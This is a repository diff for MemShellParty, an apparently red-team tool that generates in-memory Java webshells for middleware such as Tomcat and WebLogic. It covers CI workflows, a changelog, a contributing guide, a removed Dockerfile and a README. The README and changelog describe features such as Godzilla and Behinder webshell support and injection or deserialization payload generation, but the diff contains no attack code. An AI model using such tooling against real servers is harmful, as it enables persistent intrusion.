@@ -35,22 +35,23 @@ jobs:
|
|||||||
build-jar:
|
build-jar:
|
||||||
name: Build Jar
|
name: Build Jar
|
||||||
runs-on: ubuntu-latest
|
runs-on: ubuntu-latest
|
||||||
|
needs: [ info ]
|
||||||
steps:
|
steps:
|
||||||
- uses: actions/checkout@v6
|
- uses: actions/checkout@v4
|
||||||
|
|
||||||
- name: Setup Java
|
- name: Setup Java
|
||||||
uses: actions/setup-java@v5
|
uses: actions/setup-java@v4
|
||||||
with:
|
with:
|
||||||
distribution: 'temurin'
|
distribution: 'temurin'
|
||||||
java-version: 17
|
java-version: 17
|
||||||
|
|
||||||
- name: Setup Gradle
|
- name: Setup Gradle
|
||||||
uses: gradle/actions/setup-gradle@v6
|
uses: gradle/actions/setup-gradle@v4
|
||||||
|
|
||||||
- name: Setup Node
|
- name: Setup Node
|
||||||
uses: actions/setup-node@v6
|
uses: actions/setup-node@v4
|
||||||
with:
|
with:
|
||||||
node-version: 22
|
node-version: '23'
|
||||||
|
|
||||||
- name: Setup Bun
|
- name: Setup Bun
|
||||||
uses: oven-sh/setup-bun@v2
|
uses: oven-sh/setup-bun@v2
|
||||||
@@ -62,20 +63,20 @@ jobs:
|
|||||||
run: bun install --frozen-lockfile && bun run build
|
run: bun install --frozen-lockfile && bun run build
|
||||||
|
|
||||||
- name: Build Boot with Gradle
|
- name: Build Boot with Gradle
|
||||||
run: ./gradlew :boot:bootjar -x test
|
run: ./gradlew -Pversion=${{ needs.info.outputs.version-without-v }} :boot:bootjar -x test
|
||||||
|
|
||||||
- name: Upload Boot Jar
|
- name: Upload Boot Jar
|
||||||
uses: actions/upload-artifact@v7
|
uses: actions/upload-artifact@v4
|
||||||
with:
|
with:
|
||||||
name: boot
|
name: boot
|
||||||
path: boot/build/libs/*.jar
|
path: boot/build/libs/boot-${{ needs.info.outputs.version-without-v }}.jar
|
||||||
|
|
||||||
docker-push:
|
docker-push:
|
||||||
name: Docker Push
|
name: Docker Push
|
||||||
needs: [ info, build-jar ]
|
needs: [ info, build-jar ]
|
||||||
runs-on: ubuntu-latest
|
runs-on: ubuntu-latest
|
||||||
steps:
|
steps:
|
||||||
- uses: actions/checkout@v6
|
- uses: actions/checkout@v4
|
||||||
|
|
||||||
- name: Download Boot Jar
|
- name: Download Boot Jar
|
||||||
uses: actions/download-artifact@v4
|
uses: actions/download-artifact@v4
|
||||||
@@ -84,70 +85,37 @@ jobs:
|
|||||||
path: boot/build/libs
|
path: boot/build/libs
|
||||||
|
|
||||||
- name: Login to GitHub Container Registry
|
- name: Login to GitHub Container Registry
|
||||||
uses: docker/login-action@v4
|
uses: docker/login-action@v3
|
||||||
with:
|
with:
|
||||||
registry: ghcr.io
|
registry: ghcr.io
|
||||||
username: ${{ github.repository_owner }}
|
username: ${{ github.repository_owner }}
|
||||||
password: ${{ secrets.GITHUB_TOKEN }}
|
password: ${{ secrets.GITHUB_TOKEN }}
|
||||||
|
|
||||||
- name: Login to Docker Hub
|
- name: Login to Docker Hub
|
||||||
uses: docker/login-action@v4
|
uses: docker/login-action@v3
|
||||||
with:
|
with:
|
||||||
registry: docker.io
|
registry: docker.io
|
||||||
username: ${{ vars.DOCKERHUB_USERNAME }}
|
username: ${{ vars.DOCKERHUB_USERNAME }}
|
||||||
password: ${{ secrets.DOCKERHUB_TOKEN }}
|
password: ${{ secrets.DOCKERHUB_TOKEN }}
|
||||||
|
|
||||||
- name: Set up QEMU
|
- name: Set up QEMU
|
||||||
uses: docker/setup-qemu-action@v4
|
uses: docker/setup-qemu-action@v3
|
||||||
- name: Set up Docker Buildx
|
- name: Set up Docker Buildx
|
||||||
uses: docker/setup-buildx-action@v4
|
uses: docker/setup-buildx-action@v3
|
||||||
|
|
||||||
- name: Build and push
|
- name: Build and push
|
||||||
uses: docker/build-push-action@v7
|
uses: docker/build-push-action@v6
|
||||||
with:
|
with:
|
||||||
context: boot
|
context: boot
|
||||||
platforms: linux/amd64,linux/arm64
|
platforms: linux/amd64,linux/arm64
|
||||||
push: true
|
push: true
|
||||||
tags: |
|
|
||||||
docker.io/reajason/memshell-party:${{ needs.info.outputs.version-without-v }}
|
|
||||||
docker.io/reajason/memshell-party:latest
|
|
||||||
ghcr.io/reajason/memshell-party:${{ needs.info.outputs.version-without-v }}
|
|
||||||
ghcr.io/reajason/memshell-party:latest
|
|
||||||
|
|
||||||
- name: Build and push RedQueen
|
|
||||||
uses: docker/build-push-action@v7
|
|
||||||
with:
|
|
||||||
context: .
|
|
||||||
platforms: linux/amd64,linux/arm64
|
|
||||||
build-args: |
|
build-args: |
|
||||||
ROUTE_ROOT_PATH=/redqueen-memshell-party
|
VERSION=${{ needs.info.outputs.version-without-v }}
|
||||||
CONTEXT_PATH=/redqueen-memshell-party
|
|
||||||
push: true
|
|
||||||
tags: |
|
tags: |
|
||||||
docker.io/reajason/memshell-party:redqueen
|
docker.io/reajason/memshell-party:latest
|
||||||
|
docker.io/reajason/memshell-party:${{ needs.info.outputs.version-without-v }}
|
||||||
deploy-maven:
|
ghcr.io/reajason/memshell-party:latest
|
||||||
name: Deploy to Maven Central
|
ghcr.io/reajason/memshell-party:${{ needs.info.outputs.version-without-v }}
|
||||||
runs-on: ubuntu-latest
|
|
||||||
steps:
|
|
||||||
- uses: actions/checkout@v6
|
|
||||||
- name: Setup Java
|
|
||||||
uses: actions/setup-java@v5
|
|
||||||
with:
|
|
||||||
distribution: 'temurin'
|
|
||||||
java-version: 17
|
|
||||||
|
|
||||||
- name: Setup Gradle
|
|
||||||
uses: gradle/actions/setup-gradle@v6
|
|
||||||
|
|
||||||
- name: Publish with Gradle
|
|
||||||
env:
|
|
||||||
ORG_GRADLE_PROJECT_mavenCentralUsername: ${{ secrets.ORG_GRADLE_PROJECT_mavenCentralUsername }}
|
|
||||||
ORG_GRADLE_PROJECT_mavenCentralPassword: ${{ secrets.ORG_GRADLE_PROJECT_mavenCentralPassword }}
|
|
||||||
ORG_GRADLE_PROJECT_signingInMemoryKey: ${{ secrets.ORG_GRADLE_PROJECT_signingInMemoryKey }}
|
|
||||||
ORG_GRADLE_PROJECT_signingInMemoryKeyId: ${{ secrets.ORG_GRADLE_PROJECT_signingInMemoryKeyId }}
|
|
||||||
ORG_GRADLE_PROJECT_signingInMemoryKeyPassword: ${{ secrets.ORG_GRADLE_PROJECT_signingInMemoryKeyPassword }}
|
|
||||||
run: ./gradlew publishAllToMavenCentral
|
|
||||||
|
|
||||||
create-release:
|
create-release:
|
||||||
name: Create Release
|
name: Create Release
|
||||||
@@ -156,13 +124,7 @@ jobs:
|
|||||||
permissions:
|
permissions:
|
||||||
contents: write
|
contents: write
|
||||||
steps:
|
steps:
|
||||||
- uses: actions/checkout@v6
|
- uses: actions/checkout@v4
|
||||||
|
|
||||||
- name: Download Boot Jar
|
|
||||||
uses: actions/download-artifact@v4
|
|
||||||
with:
|
|
||||||
name: boot
|
|
||||||
path: boot/build/libs
|
|
||||||
|
|
||||||
- name: Release
|
- name: Release
|
||||||
uses: ncipollo/release-action@v1
|
uses: ncipollo/release-action@v1
|
||||||
@@ -170,7 +132,6 @@ jobs:
|
|||||||
name: ${{ needs.info.outputs.version }}
|
name: ${{ needs.info.outputs.version }}
|
||||||
tag: ${{ needs.info.outputs.version }}
|
tag: ${{ needs.info.outputs.version }}
|
||||||
body: ${{ needs.info.outputs.changelog }}
|
body: ${{ needs.info.outputs.changelog }}
|
||||||
artifacts: boot/build/libs/boot-${{ needs.info.outputs.version-without-v }}.jar
|
|
||||||
|
|
||||||
deploy-northflank:
|
deploy-northflank:
|
||||||
name: Deploy to Northflank
|
name: Deploy to Northflank
|
||||||
|
|||||||
@@ -1,47 +0,0 @@
|
|||||||
name: Single IntegrationTest
|
|
||||||
|
|
||||||
on:
|
|
||||||
workflow_dispatch:
|
|
||||||
inputs:
|
|
||||||
depend_tasks:
|
|
||||||
description: '前置构建任务,如 :boot:jar :generator:jar'
|
|
||||||
required: false
|
|
||||||
default: ':vul:vul-webapp:war :vul:vul-webapp-expression:war :vul:vul-webapp-deserialize:war :vul:vul-webapp-jakarta:war'
|
|
||||||
type: string
|
|
||||||
test_class:
|
|
||||||
description: '测试用例类名,如 com.reajason.javaweb.integration.memshell.tomcat.Tomcat10WebSocketBypassNginxTest'
|
|
||||||
required: true
|
|
||||||
type: string
|
|
||||||
|
|
||||||
concurrency:
|
|
||||||
group: ${{ github.workflow }}-${{ github.ref }}-${{ github.event_name }}
|
|
||||||
cancel-in-progress: true
|
|
||||||
|
|
||||||
jobs:
|
|
||||||
integration-test:
|
|
||||||
runs-on: ubuntu-22.04
|
|
||||||
steps:
|
|
||||||
- name: Checkout
|
|
||||||
uses: actions/checkout@v6
|
|
||||||
|
|
||||||
- name: Setup Java
|
|
||||||
uses: actions/setup-java@v5
|
|
||||||
with:
|
|
||||||
distribution: 'temurin'
|
|
||||||
java-version: 17
|
|
||||||
|
|
||||||
- name: Setup Gradle
|
|
||||||
uses: gradle/actions/setup-gradle@v6
|
|
||||||
|
|
||||||
- name: Prepare for Integration Test
|
|
||||||
if: ${{ inputs.depend_tasks != '' }}
|
|
||||||
run: ./gradlew ${{ inputs.depend_tasks }}
|
|
||||||
|
|
||||||
- name: Integration Test with gradle
|
|
||||||
run: ./gradlew :integration-test:test --tests '${{ inputs.test_class }}' --info
|
|
||||||
|
|
||||||
- name: Export Integration Test Summary
|
|
||||||
uses: mikepenz/action-junit-report@v5
|
|
||||||
if: success() || failure()
|
|
||||||
with:
|
|
||||||
report_paths: '**/build/test-results/test/TEST-*.xml'
|
|
||||||
@@ -0,0 +1,84 @@
|
|||||||
|
name: Test
|
||||||
|
|
||||||
|
on:
|
||||||
|
push:
|
||||||
|
branches: [ "*" ]
|
||||||
|
paths-ignore:
|
||||||
|
- 'docs/**'
|
||||||
|
- 'boot/**'
|
||||||
|
- 'web/**'
|
||||||
|
- '**.md'
|
||||||
|
pull_request:
|
||||||
|
branches:
|
||||||
|
- main
|
||||||
|
paths-ignore:
|
||||||
|
- 'docs/**'
|
||||||
|
- 'boot/**'
|
||||||
|
- 'web/**'
|
||||||
|
- '**.md'
|
||||||
|
|
||||||
|
concurrency:
|
||||||
|
group: ${{ github.workflow }}-${{ github.ref }}-${{ github.event_name }}
|
||||||
|
cancel-in-progress: true
|
||||||
|
|
||||||
|
jobs:
|
||||||
|
unit-test:
|
||||||
|
name: UniteTest
|
||||||
|
runs-on: ubuntu-latest
|
||||||
|
steps:
|
||||||
|
- name: Checkout
|
||||||
|
uses: actions/checkout@v4
|
||||||
|
|
||||||
|
- name: Setup Java
|
||||||
|
uses: actions/setup-java@v4
|
||||||
|
with:
|
||||||
|
distribution: 'temurin'
|
||||||
|
java-version: 17
|
||||||
|
|
||||||
|
- name: Setup Gradle
|
||||||
|
uses: gradle/actions/setup-gradle@v4
|
||||||
|
|
||||||
|
- name: Generator Unit Test with Gradle
|
||||||
|
run: ./gradlew :generator:test
|
||||||
|
|
||||||
|
- name: Boot Unit Test with Gradle
|
||||||
|
run: ./gradlew :boot:test
|
||||||
|
|
||||||
|
integration-test:
|
||||||
|
strategy:
|
||||||
|
fail-fast: false
|
||||||
|
matrix:
|
||||||
|
middleware:
|
||||||
|
- tomcat
|
||||||
|
- jetty
|
||||||
|
- jbossas
|
||||||
|
- jbosseap
|
||||||
|
- wildfly
|
||||||
|
- glassfish
|
||||||
|
- resin
|
||||||
|
- payara
|
||||||
|
- websphere
|
||||||
|
- springmvc
|
||||||
|
- weblogic
|
||||||
|
- springwebflux
|
||||||
|
- xxljob
|
||||||
|
runs-on: ubuntu-latest
|
||||||
|
name: ${{ matrix.middleware }}
|
||||||
|
needs: [ unit-test ]
|
||||||
|
steps:
|
||||||
|
- name: Checkout
|
||||||
|
uses: actions/checkout@v4
|
||||||
|
|
||||||
|
- name: Setup Java
|
||||||
|
uses: actions/setup-java@v4
|
||||||
|
with:
|
||||||
|
distribution: 'temurin'
|
||||||
|
java-version: 17
|
||||||
|
|
||||||
|
- name: Setup Gradle
|
||||||
|
uses: gradle/actions/setup-gradle@v4
|
||||||
|
|
||||||
|
- name: Integration Test with gradle
|
||||||
|
run: ./gradlew :integration-test:test --tests '*.${{ matrix.middleware }}.*' --info
|
||||||
|
- name: Export Integration Test Summary
|
||||||
|
run: cat integration-test/build/test-results/report.md >> $GITHUB_STEP_SUMMARY
|
||||||
@@ -1,35 +0,0 @@
|
|||||||
name: Unit-Test
|
|
||||||
|
|
||||||
on:
|
|
||||||
push:
|
|
||||||
branches:
|
|
||||||
- '**'
|
|
||||||
paths:
|
|
||||||
- 'generator/**'
|
|
||||||
|
|
||||||
concurrency:
|
|
||||||
group: ${{ github.workflow }}-${{ github.ref }}-${{ github.event_name }}
|
|
||||||
cancel-in-progress: true
|
|
||||||
|
|
||||||
jobs:
|
|
||||||
unit-test:
|
|
||||||
name: UniteTest
|
|
||||||
runs-on: ubuntu-latest
|
|
||||||
steps:
|
|
||||||
- name: Checkout
|
|
||||||
uses: actions/checkout@v6
|
|
||||||
|
|
||||||
- name: Setup Java
|
|
||||||
uses: actions/setup-java@v5
|
|
||||||
with:
|
|
||||||
distribution: 'temurin'
|
|
||||||
java-version: 17
|
|
||||||
|
|
||||||
- name: Setup Gradle
|
|
||||||
uses: gradle/actions/setup-gradle@v6
|
|
||||||
|
|
||||||
- name: Generator Unit Test with Gradle
|
|
||||||
run: ./gradlew :generator:test
|
|
||||||
|
|
||||||
- name: Boot Unit Test with Gradle
|
|
||||||
run: ./gradlew :boot:test
|
|
||||||
-15
@@ -29,10 +29,6 @@ replay_pid*
|
|||||||
**/build/
|
**/build/
|
||||||
!src/**/build/
|
!src/**/build/
|
||||||
|
|
||||||
**/bin/
|
|
||||||
!**/src/main/**/bin/
|
|
||||||
!**/src/test/**/bin/
|
|
||||||
|
|
||||||
# Ignore Gradle GUI config
|
# Ignore Gradle GUI config
|
||||||
gradle-app.setting
|
gradle-app.setting
|
||||||
|
|
||||||
@@ -53,14 +49,3 @@ gradle-app.setting
|
|||||||
|
|
||||||
.DS_Store
|
.DS_Store
|
||||||
*.iml
|
*.iml
|
||||||
.vscode/
|
|
||||||
|
|
||||||
# enterprise integration test cases
|
|
||||||
snippets/
|
|
||||||
integration-test/**/apusic
|
|
||||||
integration-test/**/bes
|
|
||||||
integration-test/**/tongweb
|
|
||||||
integration-test/**/inforsuite
|
|
||||||
integration-test/**/primeton
|
|
||||||
vul/vul-springboot3-bes
|
|
||||||
vul/vul-springboot3-tongweb
|
|
||||||
@@ -1,3 +0,0 @@
|
|||||||
[submodule "libs"]
|
|
||||||
path = libs
|
|
||||||
url = https://github.com/ReaJason/javaweb-sources.git
|
|
||||||
@@ -0,0 +1,15 @@
|
|||||||
|
# Changelog
|
||||||
|
|
||||||
|
All notable changes to this project will be documented in this file.
|
||||||
|
|
||||||
|
The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.1.0/),
|
||||||
|
and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html).
|
||||||
|
|
||||||
|
## [v1.0.0](https://#) - 2025-01-03
|
||||||
|
|
||||||
|
### Added
|
||||||
|
|
||||||
|
- 支持 Tomcat、Jetty、WebLogic、GlassFish、JBoss、Resin 等 18 个中间件或框架的应用内存马
|
||||||
|
- 支持 Filter、Servlet、Listener、NettyHandler、Agent 等常见内存马挂载类型
|
||||||
|
- 支持哥斯拉、冰蝎、命令执行功能
|
||||||
|
- 支持 Base64、Jar、JSP、常见表达式、常见模板引擎、反序列化等打包方式
|
||||||
+20
-25
@@ -1,27 +1,17 @@
|
|||||||
## Contribute
|
|
||||||
|
|
||||||
> 你的任何反馈以及 issue 交流都是对当前项目的贡献
|
|
||||||
|
|
||||||
> It will be so nice if you want to contribute. 🎉
|
|
||||||
|
|
||||||
1. 如果你有高超的 Docker 环境构建技术,可以尝试添加 CVE 相关的集成测试用例。
|
|
||||||
2. 如果你有高超的内存马编写技术,可以尝试添加一个内存马试试。
|
|
||||||
3. 如果你有丰富的实战经验,可以尝试写写 issue 来提提建议。
|
|
||||||
|
|
||||||
### 目录结构
|
### 目录结构
|
||||||
|
|
||||||
|
- behinder:冰蝎简易连接器,用来自动化测试连接效果(为保证兼容性够高,所以单独弄出来)
|
||||||
|
- godzilla:哥斯拉简易连接器,用来自动化测试连接效果(为保证兼容性够高,所以单独弄出来)
|
||||||
|
- common:bytebuddy 等工具类存放
|
||||||
|
- deserialize:反序列化相关 gadget
|
||||||
- boot:使用 SpringBoot 为 UI 提供生成服务
|
- boot:使用 SpringBoot 为 UI 提供生成服务
|
||||||
- memshell-party-common:bytebuddy/asm 等工具类存放
|
|
||||||
- generator:内存马生成核心
|
|
||||||
- packer:常见漏洞 payload 生成
|
|
||||||
- integration-test:集成测试用例
|
|
||||||
- memshell:内存功能类以及注入器
|
|
||||||
- memshell-agent:Agent 内存马 playground,可参考 asm/javassist/bytebuddy 编写 Agent 内存马
|
|
||||||
- tools/*:内存马简易连接器,用于测试内存马注入之后是否可用
|
|
||||||
- web:使用 react 开发的 Web UI
|
- web:使用 react 开发的 Web UI
|
||||||
|
- memshell:内存功能类以及注入器(为保证兼容性够高,所以单独弄出来)
|
||||||
|
- memshell-java8:Spring 相关的存在 lambda 表达式所以单独弄出来
|
||||||
|
- generator:内存马生成核心
|
||||||
|
- integration-test:集成测试用例
|
||||||
- vul/vul-webapp:简易的 javax.servlet 靶场
|
- vul/vul-webapp:简易的 javax.servlet 靶场
|
||||||
- vul/vul-webapp-expression:简易的表达式注入、SSTI 注入相关靶场
|
- vul/vul-webapp-expression:简易的表达式注入、SSTI 注入相关靶场
|
||||||
- vul/vul-webapp-deserialize:简易的反序列化相关靶场
|
|
||||||
- vul/vul-webapp-jakarta:简易的 jakarta.servlet 靶场
|
- vul/vul-webapp-jakarta:简易的 jakarta.servlet 靶场
|
||||||
- vul/springboot*: springboot 相关靶场
|
- vul/springboot*: springboot 相关靶场
|
||||||
|
|
||||||
@@ -36,15 +26,12 @@
|
|||||||
# 运行集成测试用例,谨慎运行,用例太多了
|
# 运行集成测试用例,谨慎运行,用例太多了
|
||||||
./gradlew :integration-test:test --info
|
./gradlew :integration-test:test --info
|
||||||
|
|
||||||
# 仅运行 tomcat 下的集成测试用例(需要先构建靶场)
|
# 仅运行 tomcat 下的集成测试用例
|
||||||
./gradlew :vul:vul-webapp:war :vul:vul-webapp-expression:war :vul:vul-webapp-deserialize:war :vul:vul-webapp-jakarta:war
|
|
||||||
./gradlew :integration-test:test --tests '*.tomcat.*'
|
./gradlew :integration-test:test --tests '*.tomcat.*'
|
||||||
|
# 仅运行 jetty 下的集成测试用例
|
||||||
# 仅运行 jetty 下的集成测试用例(需要先构建靶场)
|
|
||||||
./gradlew :vul:vul-webapp:war :vul:vul-webapp-jakarta:war
|
|
||||||
./gradlew :integration-test:test --tests '*.jetty.*'
|
./gradlew :integration-test:test --tests '*.jetty.*'
|
||||||
|
|
||||||
# 构建靶场 war 包
|
# 构建 war 包
|
||||||
./gradlew :vul:vul-webapp:war
|
./gradlew :vul:vul-webapp:war
|
||||||
./gradlew :vul:vul-webapp-jakarta:war
|
./gradlew :vul:vul-webapp-jakarta:war
|
||||||
./gradlew :vul:vul-webapp-expression:war
|
./gradlew :vul:vul-webapp-expression:war
|
||||||
@@ -66,9 +53,17 @@ UI 采用的 React SPA + SpringBoot,构建时需要先将 React 前端项目
|
|||||||
1. 先打包前端项目,`bun run build`
|
1. 先打包前端项目,`bun run build`
|
||||||
2. 再打包后端项目,`./gradlew :boot:bootJar`
|
2. 再打包后端项目,`./gradlew :boot:bootJar`
|
||||||
|
|
||||||
|
### Contribute Something
|
||||||
|
|
||||||
|
> 你对此项目的任何反馈以及 issue 交流都是对当前项目的贡献
|
||||||
|
|
||||||
|
1. 你有高超的 Docker 环境构建技术,可以添加 CVE 相关的集成测试用例。
|
||||||
|
2. 你有高超的内存马编写技术,可以尝试添加一个内存马试试。
|
||||||
|
3. 你有丰富的实战经验,可以尝试写写 issue 来提提建议。
|
||||||
|
|
||||||
### Contribute Code
|
### Contribute Code
|
||||||
|
|
||||||
> 参考 GitHub Docs,https://docs.github.com/en/get-started/exploring-projects-on-github/contributing-to-a-project
|
> 参考 GitHub Docs, https://docs.github.com/en/get-started/exploring-projects-on-github/contributing-to-a-project
|
||||||
|
|
||||||
1. fork 当前项目
|
1. fork 当前项目
|
||||||
2. git clone 自己 fork 后的项目
|
2. git clone 自己 fork 后的项目
|
||||||
|
|||||||
-60
@@ -1,60 +0,0 @@
|
|||||||
FROM --platform=$BUILDPLATFORM buildpack-deps:bullseye-scm AS source
|
|
||||||
|
|
||||||
WORKDIR /usr/src
|
|
||||||
|
|
||||||
RUN git clone --depth 1 https://github.com/ReaJason/MemShellParty.git . && \
|
|
||||||
rm -rf vul integration-test tools
|
|
||||||
|
|
||||||
# https://hub.docker.com/r/oven/bun
|
|
||||||
FROM --platform=$BUILDPLATFORM oven/bun:1.4.0 AS frontend
|
|
||||||
|
|
||||||
ARG ROUTE_ROOT_PATH=""
|
|
||||||
ARG CONTEXT_PATH=""
|
|
||||||
|
|
||||||
WORKDIR /usr/src/web
|
|
||||||
|
|
||||||
ENV VITE_APP_API_URL=${CONTEXT_PATH} \
|
|
||||||
VITE_APP_BASE_PATH=${ROUTE_ROOT_PATH}/ui
|
|
||||||
|
|
||||||
COPY --from=source /usr/src/web/package.json /usr/src/web/bun.lock /usr/src/web/
|
|
||||||
COPY --from=source /usr/src/web/vendor/cfr /usr/src/web/vendor/cfr
|
|
||||||
|
|
||||||
RUN bun install --frozen-lockfile
|
|
||||||
|
|
||||||
COPY --from=source /usr/src/web /usr/src/web
|
|
||||||
|
|
||||||
RUN bun run build
|
|
||||||
|
|
||||||
# https://hub.docker.com/_/eclipse-temurin/tags?name=21.
|
|
||||||
FROM --platform=$BUILDPLATFORM eclipse-temurin:21.0.12_8-jdk-noble AS backend
|
|
||||||
|
|
||||||
WORKDIR /usr/src
|
|
||||||
|
|
||||||
COPY --from=source /usr/src /usr/src
|
|
||||||
|
|
||||||
COPY --from=frontend /usr/src/boot/src/main/resources /usr/src/boot/src/main/resources
|
|
||||||
|
|
||||||
RUN ./gradlew :boot:bootjar -x test
|
|
||||||
|
|
||||||
FROM eclipse-temurin:21.0.12_8-jre-noble
|
|
||||||
|
|
||||||
LABEL authors="ReaJason<[email protected]>"
|
|
||||||
|
|
||||||
WORKDIR /app
|
|
||||||
|
|
||||||
RUN groupadd -r spring && \
|
|
||||||
useradd -r -g spring spring
|
|
||||||
|
|
||||||
COPY --from=backend --chown=spring:spring /usr/src/boot/build/libs/*.jar app.jar
|
|
||||||
|
|
||||||
USER spring:spring
|
|
||||||
|
|
||||||
ENV INTERNAL_JAVA_OPTS="\
|
|
||||||
-Djava.security.egd=file:/dev/./urandom -Dfastison.parser.safeMode=true \
|
|
||||||
--add-opens=java.base/java.util=ALL-UNNAMED \
|
|
||||||
--add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED \
|
|
||||||
--add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime=ALL-UNNAMED"
|
|
||||||
|
|
||||||
EXPOSE 8080
|
|
||||||
|
|
||||||
ENTRYPOINT ["sh", "-c", "java $JAVA_OPTS $INTERNAL_JAVA_OPTS -jar app.jar $BOOT_OPTS"]
|
|
||||||
@@ -1,87 +1,137 @@
|
|||||||
|
<div align="center">
|
||||||
<h1 align="center">MemShellParty</h1>
|
<h1 align="center">MemShellParty</h1>
|
||||||
|
|
||||||
<p align="center">中文 | <a href="./docs/README.en.md">English</a><br></p>
|
<p>一键生成常见中间件框架内存马,让内存马测试变得简单高效,打造内存马的全方位学习平台</p>
|
||||||
|
<p>在遍地是轮子的时代,是时候造车,带着大伙加速冲冲冲了</p>
|
||||||
|
|
||||||
|
[](https://github.com/ReaJason/MemShellParty/actions/workflows/test.yaml)
|
||||||
|
[](https://github.com/ReaJason/MemShellParty/actions/workflows/release.yaml)
|
||||||
|
[](https://github.com/ReaJason/MemShellParty?tab=MIT-1-ov-file)
|
||||||
|
[](https://t.me/memshell)
|
||||||
|
|
||||||
<div align="center">
|
|
||||||
|
|
||||||
[](https://github.com/ReaJason/MemShellParty/releases)
|
|
||||||
[](https://central.sonatype.com/artifact/io.github.reajason/generator)
|
|
||||||
[](https://hub.docker.com/r/reajason/memshell-party)
|
|
||||||
</div>
|
|
||||||
<div align="center">
|
|
||||||
|
|
||||||
[](https://t.me/memshell)
|
|
||||||
[](https://party.mem.mk)
|
|
||||||
</div>
|
</div>
|
||||||
|
|
||||||
> [!WARNING]
|
> [!WARNING]
|
||||||
> 本工具仅供安全研究人员、网络管理员及相关技术人员进行授权的安全测试、漏洞评估和安全审计工作使用。使用本工具进行任何未经授权的网络攻击或渗透测试等行为均属违法,使用者需自行承担相应的法律责任。
|
> 本工具仅供安全研究人员、网络管理员及相关技术人员进行授权的安全测试、漏洞评估和安全审计工作使用。使用本工具进行任何未经授权的网络攻击或渗透测试等行为均属违法,使用者需自行承担相应的法律责任。
|
||||||
|
|
||||||
> [!TIP]
|
> [!TIP]
|
||||||
> 由于本人仅是安全产品研发,无实战经验,如使用或实现有相关疑问或者适配请求可提 issue 或加入 TG
|
> 项目仍在快速迭代过程中,如有相关疑问或者适配请求可提 issue 或加入 TG
|
||||||
> 交流群,欢迎一起学习交流。
|
> 交流群,由于本人仅是安全产品研发,无实战经验,欢迎一起学习交流
|
||||||
|
|
||||||
MemShellParty 是一款专注于主流 Web 中间件的内存马快速生成工具,致力于简化安全研究人员和红队成员的工作流程,提升攻防效率。
|

|
||||||
|
|
||||||
<p align="center">
|

|
||||||
<img src="assets/normal_memshell.png" alt="normal_memshell" width="24%">
|
|
||||||
<img src="assets/agent_memshell.png" alt="agent_memshell" width="24%">
|
|
||||||
<img src="assets/dnslog_probe.png" alt="dnslog_probe" width="24%">
|
|
||||||
<img src="assets/about_page.png" alt="about_page" width="24%">
|
|
||||||
</p>
|
|
||||||
|
|
||||||
## 主要特性
|
## 主要特性
|
||||||
|
|
||||||
- **无侵入性**:生成的内存马不会影响目标中间件正常流量,即使同时注入十几个不同的内存马。
|
- 自动化测试保障: 自带完备的 [CI 集成测试](https://github.com/ReaJason/MemShellParty/actions/workflows/test.yaml)
|
||||||
- **强兼容性**:覆盖攻防场景下常见中间件和框架,以及 JDK 适配 JDK6 ~ JDK21。
|
,确保常见场景下的高可用性。
|
||||||
- **高可用性**:对所有支持的中间件框架建立了全面的自动化测试矩阵,确保每一次生成的载荷都具备最高的可用性和稳定性,杜绝实战中的不确定性。
|
- 优化的用例设计: 尽可能精简内存马大小,高效传输。
|
||||||
- **极致轻量化**:通过深度优化的字节码生成策略,MemShellParty 将内存马体积相较于 JMG 等传统工具进行了大幅缩小,常规内存马缩小了
|
- 广泛的兼容性: 覆盖攻防场景下常见中间件和框架。
|
||||||
**30%**,Agent 内存马采用 ASM 技术缩小了 **80%**。
|
|
||||||
- **傻瓜一键化**:内置针对主流表达式注入、反序列化、SSTI 等常见漏洞的载荷生成。系统会自动根据绕过 Java
|
|
||||||
模块限制配置,动态生成最优攻击载荷。可实现常规漏洞载荷一键生成。
|
|
||||||
- **高灵活性**:原生支持哥斯拉、冰蝎、蚁剑、Suo5、NeoreGeorg 等常用内存马功能,通过高度灵活的自定义内存马上传功能,可以将任何定制化载荷融入
|
|
||||||
MemShellParty 的生成体系,打造最贴合自身战术需求的攻击平台。
|
|
||||||
|
|
||||||
## 快速使用
|
## 快速启动
|
||||||
|
|
||||||
### 使用前必看
|
|
||||||
|
|
||||||
[适配情况](https://party.mem.mk/ui/docs/compatibility),用于了解 MemShellParty
|
|
||||||
中针对各个服务适配的情况,针对不同的应用选择合适的服务类型。
|
|
||||||
|
|
||||||
探测马中探测服务类型已经做了一一对应,探测出来的服务类型,即是可生成内存马的服务类型(非中间件类型,例如 Apusic10 探测出来的结果为
|
|
||||||
GlassFish,因为它使用的是 GlassFish 进行的二开)。
|
|
||||||
|
|
||||||
### 在线站点
|
### 在线站点
|
||||||
|
|
||||||
> 仅限尝鲜的小伙伴,对于其他暴露在公网的服务请谨慎使用,小心生成的内存马带后门
|
可直接访问 https://party.memshell.news (没做加速,搭建在 [Northflank](https://northflank.com/) US
|
||||||
|
节点上,访问较慢,Thanks [@xcxmiku](https://github.com/xcxmiku))
|
||||||
可访问(master 分支) [https://party.mem.mk](https://party.mem.mk)。每次 Release 都会自动部署最新的镜像。
|
|
||||||
|
|
||||||
对于正在开发的功能可访问(dev 分支) [https://dev-party.mem.mk](https://dev-party.mem.mk) 抢先体验。
|
|
||||||
|
|
||||||
### 本地部署(推荐)
|
### 本地部署(推荐)
|
||||||
|
|
||||||
> 适合内网或本地快速部署,直接使用 Docker 启动服务方便快捷
|
|
||||||
|
|
||||||
使用 docker 部署之后访问 http://127.0.0.1:8080
|
使用 docker 部署之后访问 http://127.0.0.1:8080
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
# 使用 Docker Hub 源,拉取最新的镜像
|
docker run --pull=always --rm -it -d -p 8080:8080 --name memshell reajason/memshell-party
|
||||||
docker run --pull=always --rm -it -d -p 8080:8080 --name memshell-party reajason/memshell-party:latest
|
|
||||||
|
|
||||||
# 使用 Github Container Registry 源,拉取最新的镜像
|
|
||||||
docker run --pull=always --rm -it -d -p 8080:8080 --name memshell-party ghcr.io/reajason/memshell-party:latest
|
|
||||||
|
|
||||||
# 网络质量不太好?使用南大 Github Container Registry 镜像源
|
|
||||||
docker run --pull=always --rm -it -d -p 8080:8080 --name memshell-party ghcr.nju.edu.cn/reajason/memshell-party:latest
|
|
||||||
```
|
```
|
||||||
|
|
||||||
## Special Thanks
|
## 适配情况
|
||||||
|
|
